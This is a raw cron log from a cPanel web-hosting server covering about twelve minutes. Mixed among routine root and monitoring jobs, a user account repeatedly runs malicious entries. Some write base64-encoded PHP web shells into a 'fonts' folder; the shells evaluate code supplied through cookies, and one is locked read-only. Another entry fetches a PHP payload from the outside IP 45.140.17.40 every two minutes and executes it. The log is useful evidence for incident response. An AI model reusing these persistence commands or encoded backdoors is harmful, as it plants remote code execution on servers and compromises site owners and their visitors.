Sep 11 03:08:01 ip-184-168-122-23 CROND[20087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:08:01 ip-184-168-122-23 CROND[20088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:08:01 ip-184-168-122-23 CROND[20089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:09:01 ip-184-168-122-23 CROND[20212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:09:01 ip-184-168-122-23 CROND[20214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:09:01 ip-184-168-122-23 CROND[20216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:09:01 ip-184-168-122-23 CROND[20215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:09:01 ip-184-168-122-23 CROND[20218]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 03:10:01 ip-184-168-122-23 CROND[20311]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 03:10:01 ip-184-168-122-23 CROND[20313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:10:01 ip-184-168-122-23 CROND[20315]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:10:01 ip-184-168-122-23 CROND[20321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:10:01 ip-184-168-122-23 CROND[20324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:10:01 ip-184-168-122-23 CROND[20325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:10:01 ip-184-168-122-23 CROND[20323]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:10:01 ip-184-168-122-23 CROND[20322]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:11:01 ip-184-168-122-23 CROND[20426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:11:01 ip-184-168-122-23 CROND[20427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:11:01 ip-184-168-122-23 CROND[20428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:11:01 ip-184-168-122-23 CROND[20431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:12:01 ip-184-168-122-23 CROND[20508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:12:01 ip-184-168-122-23 CROND[20511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:12:01 ip-184-168-122-23 CROND[20510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:12:01 ip-184-168-122-23 CROND[20512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:12:01 ip-184-168-122-23 CROND[20513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:13:01 ip-184-168-122-23 CROND[20680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:13:01 ip-184-168-122-23 CROND[20682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:13:01 ip-184-168-122-23 CROND[20681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:13:01 ip-184-168-122-23 CROND[20683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:14:01 ip-184-168-122-23 CROND[20778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:14:01 ip-184-168-122-23 CROND[20780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:14:01 ip-184-168-122-23 CROND[20782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:14:01 ip-184-168-122-23 CROND[20781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:14:01 ip-184-168-122-23 CROND[20784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:15:01 ip-184-168-122-23 CROND[20911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:15:01 ip-184-168-122-23 CROND[20913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:15:01 ip-184-168-122-23 CROND[20914]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:15:01 ip-184-168-122-23 CROND[20917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:15:01 ip-184-168-122-23 CROND[20919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:15:01 ip-184-168-122-23 CROND[20918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:16:01 ip-184-168-122-23 CROND[21029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:16:01 ip-184-168-122-23 CROND[21031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:16:01 ip-184-168-122-23 CROND[21034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:16:01 ip-184-168-122-23 CROND[21032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:16:01 ip-184-168-122-23 CROND[21035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:16:01 ip-184-168-122-23 CROND[21033]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 03:17:01 ip-184-168-122-23 CROND[21142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:17:01 ip-184-168-122-23 CROND[21146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:17:01 ip-184-168-122-23 CROND[21144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:17:01 ip-184-168-122-23 CROND[21145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:18:01 ip-184-168-122-23 CROND[21238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:18:01 ip-184-168-122-23 CROND[21239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:18:01 ip-184-168-122-23 CROND[21241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:18:01 ip-184-168-122-23 CROND[21243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:18:01 ip-184-168-122-23 CROND[21245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:19:01 ip-184-168-122-23 CROND[21325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:19:02 ip-184-168-122-23 CROND[21326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:19:02 ip-184-168-122-23 CROND[21328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:19:02 ip-184-168-122-23 CROND[21329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:20:01 ip-184-168-122-23 CROND[21524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:20:01 ip-184-168-122-23 CROND[21526]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:20:01 ip-184-168-122-23 CROND[21528]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:20:01 ip-184-168-122-23 CROND[21529]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 03:20:01 ip-184-168-122-23 CROND[21527]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 03:20:01 ip-184-168-122-23 CROND[21538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:20:01 ip-184-168-122-23 CROND[21536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
